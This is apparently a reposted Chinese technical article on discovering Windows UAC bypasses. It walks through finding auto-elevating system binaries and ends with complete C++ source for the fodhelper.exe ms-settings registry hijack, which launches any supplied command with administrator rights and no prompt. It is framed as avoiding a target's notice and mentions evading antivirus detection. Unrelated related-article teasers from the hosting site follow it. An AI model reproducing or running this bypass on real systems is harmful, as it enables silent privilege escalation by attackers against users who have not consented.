BypassUAC漏洞挖掘和代码集成

什么是UAC

UAC是UserAccountControl的缩写,即用户帐户控制。是Windows操作系统中的一种安全特性,旨在保护计算机不被未经授权的应用程序和操作所破坏。UAC通过提示用户是否允许某个应用程序或操作修改计算机的设置或访问敏感数据,来帮助用户避免恶意软件或病毒对系统的破坏。当用户运行需要以管理员权限运行的程序时,UAC会提示用户是否授予该程序管理员权限,以保护计算机的安全。UAC是WindowsVista及以上版本中的一项默认特性,用户可以根据需要对其进行配置和管理

如何在电脑上开启UAC

图片

图片

图片

图片

图片

默认系统是开启的,如果不想开启只需要拉到最下面设置从不通知即可。

验证UAC效果

图片

图片

弹出用户账户控制的窗口就说明UAC开启成功了。

让自己的程序为UAC权限

图片

编译测试自身程序是否双击为UAC打开。

图片

此时可以看到编译的Demo程序的图标有个管理员权限的小图标。运行后提示账户控制窗口就说明了当前程序被附加了UAC权限。也可以使用sigcheck64工具来验证。

图片

<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />

如何绕过UAC权限启动程序

正常情况下我们运行UAC程序,或者普通程序管理员启动都会弹出账户控制的窗口来让用户手动确定是否启动,这时候如果我们在目标机器上触发则导致我们的目标失联。想要绕过UAC的触发窗口,我们就需要去找到哪些不受UAC约束的程序让我们利用。

1.必要条件

1.程序必须具有自动提权的属性,也就是true

2.运行程序不能弹出账户控制窗口

3.需要调用 Shell\Open\command 注册表值 

2.查找带有autoElevate属性的程序

这里我们尽可能查找系统自带的程序,方便我们在目标机器中使用。查询方式使用sigcheck64工具来查找。

命令为sigcheck64 -m 进程名 | findstr "auto"这里最好能写一个脚本让他自动化查找方便

图片

3.校验用户控制面板

执行我们通过sigcheck64找到带有autoElevate的程序运行看看是否会弹出庄户控制窗口,如果不弹出我们就可以进行第三个步骤了。

图片

4.查询调用键值

使用ProcessMonitor工具来抓取是否有Shell\Open\command的值。

图片

这里我们对fodhelper进程进行拦截,不然我们获取的数据太多不利于我们查询。下面我们搜索 “Shell\Open\command”。

图片

5.分析调用规则

这里是我们要查询的关键,我们去看看注册表HKCU\Software\Classes\ms-settings\Shell\Open\command 存放的是什么。发现我们只能找到HKCU\Software\Classes 却找不到ms-settings\Shell\Open\command,这里我们给他手动创建一个看看他是什么表现。

图片

先清理下数据,我们重新执行fodhelper.exe。

图片

这里和上面的图对比发现我们HKCU\Software\Classes\ms-settings\Shell\Open\新项 #1\DelegateExecute可能需要在下面创建一个DelegateExecute的值。根据这个名字猜测是执行一个程序,我们把这个值的内容改为cmd.exe,看看是否可以执行起来cmd程序。

图片

图片

这里可以发现我们已管理员权限启动了cmd窗口,并且没有弹出账户控制窗口。

代码实现步骤

根据上面的步骤我们大致需要几个步骤如下:

  1. 在启动程序之前先创建HKCU\Software\Classes\ms-settings\Shell\Open\command的项。

  2. 在值里面写入要启动的程序进程。

  3. 创建DelegateExecute的值。

  4. 启动fodhelper.exe进程。

  5. 删除HKCU\Software\Classes\ms-settings注册表树。

#include <iostream>
#include <Windows.h>
#pragma comment(lib,"AdvApi32.lib")
#pragma comment(lib,"Shell32.lib")

int main(int argc, char* argv[]) {
    LPWSTR pCMDpath;
    size_t sSize;
    if (argc != 2) {
        printf("[!] Error, you must supply a command\n");
        return EXIT_FAILURE;
    }
#ifdef _WIN64 // x64 ONLY!
    pCMDpath = new TCHAR[MAX_PATH + 1];
    mbstowcs_s(&sSize, pCMDpath, MAX_PATH, argv[1], MAX_PATH);
    LRESULT lResult;
    BOOL bResult;
    HKEY hKey = NULL;
    WCHAR szTempBuffer[MAX_PATH + 1];
    DWORD dwData;
    SIZE_T cmdLen;
    SHELLEXECUTEINFO shinfo;
    lResult = RegCreateKeyEx(HKEY_CURRENT_USER, L"Software\\Classes\\ms-settings\\shell\\open\\command", 0, NULL, REG_OPTION_NON_VOLATILE, MAXIMUM_ALLOWED, NULL, &hKey, NULL);
    if (lResult != ERROR_SUCCESS)
        return -1;
    szTempBuffer[0] = 0;
    dwData = 0;
    lResult = RegSetValueEx(hKey, L"DelegateExecute", 0, REG_SZ, (BYTE*)szTempBuffer, dwData);
    if (lResult != ERROR_SUCCESS)
        return -1;
    cmdLen = lstrlen(pCMDpath);
    dwData = (DWORD)((1 + cmdLen) * sizeof(WCHAR));
    lResult = RegSetValueEx(hKey, TEXT(""), 0, REG_SZ, (BYTE*)pCMDpath, dwData);
    if (lResult == ERROR_SUCCESS) {
        // can pick either fodhelper.exe or computerdefaults.exe here
        RtlSecureZeroMemory(&shinfo, sizeof(shinfo));
        shinfo.cbSize = sizeof(shinfo);
        shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
        shinfo.lpFile = L"C:\\Windows\\System32\\fodhelper.exe";
        shinfo.lpParameters = L""; // parameters
        shinfo.lpDirectory = NULL;
        shinfo.nShow = SW_SHOW;
        shinfo.lpVerb = NULL;
        bResult = ShellExecuteEx(&shinfo);
        if (bResult) {
            WaitForSingleObject(shinfo.hProcess, 0x8000);
            CloseHandle(shinfo.hProcess);
            printf("[+] Success\n");
        }
    }
    if (RegDeleteTree(HKEY_CURRENT_USER, L"Software\\Classes\\ms-settings\\shell\\open\\command")) {
        return -1;
    }
    if (hKey != NULL)
        RegCloseKey(hKey);
#endif
    return EXIT_SUCCESS;
}

总结

在抓取UAC漏洞的时候步骤还是相对比较简单的,可以使用代码写一套自动化的流程。这里需要注意的是目前很多杀毒软件在我们的程序写注册表值到HKCU\Software\Classes\ms-settings\Shell\Open\command会报毒,解决办法网上也有很多种,可自行测试。

图片

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/548303.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

AntDesign震撼发布!阿里企业级设计体系引领行业风向!

企业级产品设计系统Antdesign是蚂蚁集团经过大量项目实践和总结&#xff0c;逐步打磨出来的产品。随着近两年b端产品的逐渐白热化&#xff0c;越来越多的用户对更好的用户体验有了进一步的要求。 作为国内研发团队量身定制的在线协作工具&#xff0c;设计师可以直接预览并在即…

C语言 | Leetcode C语言题解之第25题K个一组翻转链表

题目&#xff1a; 题解&#xff1a; /* 定义保存两个地址的结构体* 用来保存反转后结果的头节点和尾节点*/ typedef struct {struct ListNode* head; struct ListNode* tail; } TwoAddress; // 反转中间链表 TwoAddress* reverse(struct ListNode* head){struct ListNode* pr…

Java IO流-字节流

简介 IO流的输入与输出&#xff0c;都在站在内存的角度来看的&#xff0c;因为毕竟是和内促你打交道的嘛&#xff01; 分类 IO流是可以根据方向&#xff0c;或者最小单位进行划分的 上述两两结合一下&#xff0c;就得到四种大的分类 IO流的继承体系 字节输入流InputStream 创建…

邮件群发系统如何确保效率?怎么评估性能?

邮件群发系统构建方法&#xff1f;邮件群发系统有哪些关键功能&#xff1f; 如何确保邮件群发系统的效率&#xff0c;以及如何评估其性能&#xff0c;却成为摆在众多使用者面前的一大问题。AokSend将围绕这两个方面展开讨论&#xff0c;帮助读者更好地理解和应用邮件群发系统。…

链表OJ1——删除链表中等于给定值 val 的所有节点

题目 力扣OJ链接&#xff1a;. - 力扣&#xff08;LeetCode&#xff09; 解法 我们来看看这个题目啊&#xff0c;怎么做呢&#xff1f; 有两种解法 三指针法 我们完全可以定义三个指针来进行这个删除操作 假设我们要移除的是2 这样子就完成了 特殊情况 开头——假设我们…

【学习】黑盒测试用例设计方法都有哪些

在软件测试中&#xff0c;黑盒测试是一种重要的测试方法&#xff0c;它专注于软件的外部行为&#xff0c;而不关心其内部结构和实现。黑盒测试的目标是确保软件的功能符合需求规格说明书中的要求。为了有效地进行黑盒测试&#xff0c;需要设计合理的测试用例。本文将详细介绍黑…

java:多线程中的死锁

多线程:死锁 当多个线程互相争抢资源导致都在互相等待资源的僵局时,如果没有外力,将会一直僵持下去,这就是死锁. 就像两个人分一双筷子,如果一人拿到一根筷子,都在等待对方手里的那根,将没有人能完成吃饭的任务. 死锁的必要条件 1,互斥 即资源只能被一个线程调用 2,不可剥…

idea 卡怎么办

设置内存大小 清缓存重启 idea显示内存全用情况 右下角

【图解】卖USDT的风险

张三涉足一项神秘行业&#xff0c;有时也会参与加密货币的交易。有一天&#xff0c;他添加了邵律师的微信&#xff0c;向他咨询&#xff1a;如何更安全地出售U币&#xff1f;因此&#xff0c;便有了这张图片。 他看了我的回复后叹了口气&#xff0c;说&#xff1a;“是的&#…

Docker容器tomcat中文名文件404错误不一定是URIEncoding,有可能是LANG=zh_CN.UTF-8引起

使用Docker部署tomcat&#xff0c;出现中文名文件无法读取&#xff0c;访问就是404错误。在网上搜索一通&#xff0c;都说是在tomcat的配置文件server.xml中修改一下URIEncoding为utf-8就行&#xff0c;但是我怎么测试都不行。最终发现&#xff0c;是Docker启动时&#xff0c;传…

攻防世界---Reversing-x64Elf-100

1.下载附件&#xff0c;先查壳&#xff0c;无壳 2.用IDA分析&#xff0c;找到main函数&#xff0c;使用fnf5&#xff0c;反编译 3.分析代码 4.双击进入条件函数中查看代码 5.编写代码&#xff0c;来源&#xff1a;https://blog.csdn.net/2303_80796023/article/details/1370866…

Kingbase(人大金仓数据库)(总结全网精华,虚拟机:从安装到操作数据库一条龙)

前言&#xff1a; 前一阵子一直在捣鼓人大金仓数据库&#xff0c;虽然国产化的数据库很值得夸赞&#xff0c;但是网上的资料确实少的可怜。特此记录一下我在学习这个数据库的心酸历程。 安装就看这个大哥的&#xff0c;我之前安装就是看的他的&#xff0c;非常靠谱。 linux安装…

Python人工智能教学之掌握机器学习深度学习并提升实战能力(共72个视频教学+课程资料)云盘下载

人工智能是未来的发展方向&#xff0c;掌握了人工智能&#xff0c;就掌握了钱图。。。 Python人工智能教学之掌握机器学习深度学习并提升实战能力&#xff08;共72个视频教学课程资料&#xff09; 下载地址&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/1ryJd5PNx1tLD…

C# 字面量null对于引用类型变量和值类型变量

编译器让相同的字符串字面量共享堆中的同一内存位置以节约内存。 在C#中&#xff0c;字面量&#xff08;literal&#xff09;是指直接表示固定值的符号&#xff0c;比如数字、字符串或者布尔值。而关键字&#xff08;keyword&#xff09;则是由编程语言定义的具有特殊含义的标…

设计模式之状态模式(上)

状态模式 1&#xff09;概述 1.定义 允许一个对象在其内部状态改变时改变它的行为&#xff0c;对象看起来似乎修改了它的类。 2.作用 状态模式用于解决系统中复杂对象的状态转换以及不同状态下行为的封装问题。 3.方案 状态模式将一个对象的状态从该对象中分离出来&…

VulNyx - Ready

目录 信息收集 arp nmap nikto Redis未授权访问漏洞 漏洞扫描 redis-cli 写入公钥 ssh连接 get root.txt 信息收集 arp ┌─[rootparrot]─[~/vulnyx] └──╼ #arp-scan -l Interface: enp0s3, type: EN10MB, MAC: 08:00:27:16:3d:f8, IPv4: 192.168.9.102 Starti…

网络协议安全:SSL/TLS协议详解,SSL协议执行原理、报文格式解析,Wireshark抓包分析SSL协议

「作者简介」&#xff1a;2022年北京冬奥会中国代表队&#xff0c;CSDN Top100&#xff0c;学习更多干货&#xff0c;请关注专栏《网络安全自学教程》 SSL协议 1、SSL协议发展史2、SSL协议执行过程3、SSL报文格式字段解析3.1、TLS报文头3.2、Handshake报文 4、Wireshark抓包分析…

基于STC12C5A60S2系列1T 8051单片机的带字库液晶显示器LCD12864数据传输并行模式显示16行点x16列点字模的功能

基于STC12C5A60S2系列1T 8051单片机的带字库液晶显示器LCD12864数据传输并行模式显示16行点x16列点字模的应用 STC12C5A60S2系列1T 8051单片机管脚图STC12C5A60S2系列1T 8051单片机I/O口各种不同工作模式及配置STC12C5A60S2系列1T 8051单片机I/O口各种不同工作模式介绍液晶显示…

javaweb在线拍卖系统

项目采用技术栈 htmlcssjs Vue2.js axios.js tomcat Servlet Mybatis Mysql 1.竞拍商品列表 实现多条件分页查询,头部根据是否登录作出不同的判断信息(登录或注销) 2.登录功能 3.竞拍页面 只有登录用户才能竞拍&#xff0c;出价记录需要实现关联用户查询 4.管理员登录增…

STM32芯片软复位导致SRAM2的值被擦除话题

1. 问题描述 客户在使用 STM32L433CCY6 开发过程中&#xff0c;出现软件复位后 SRAM2 里的值被擦除问题。 2. 问题确认 客户用同一版软件在两块板子上的表现还不一样&#xff0c;一块软件复位后 SRAM2 的值不会被擦除&#xff0c;另一块则会被擦除&#xff0c;并且确认被擦除…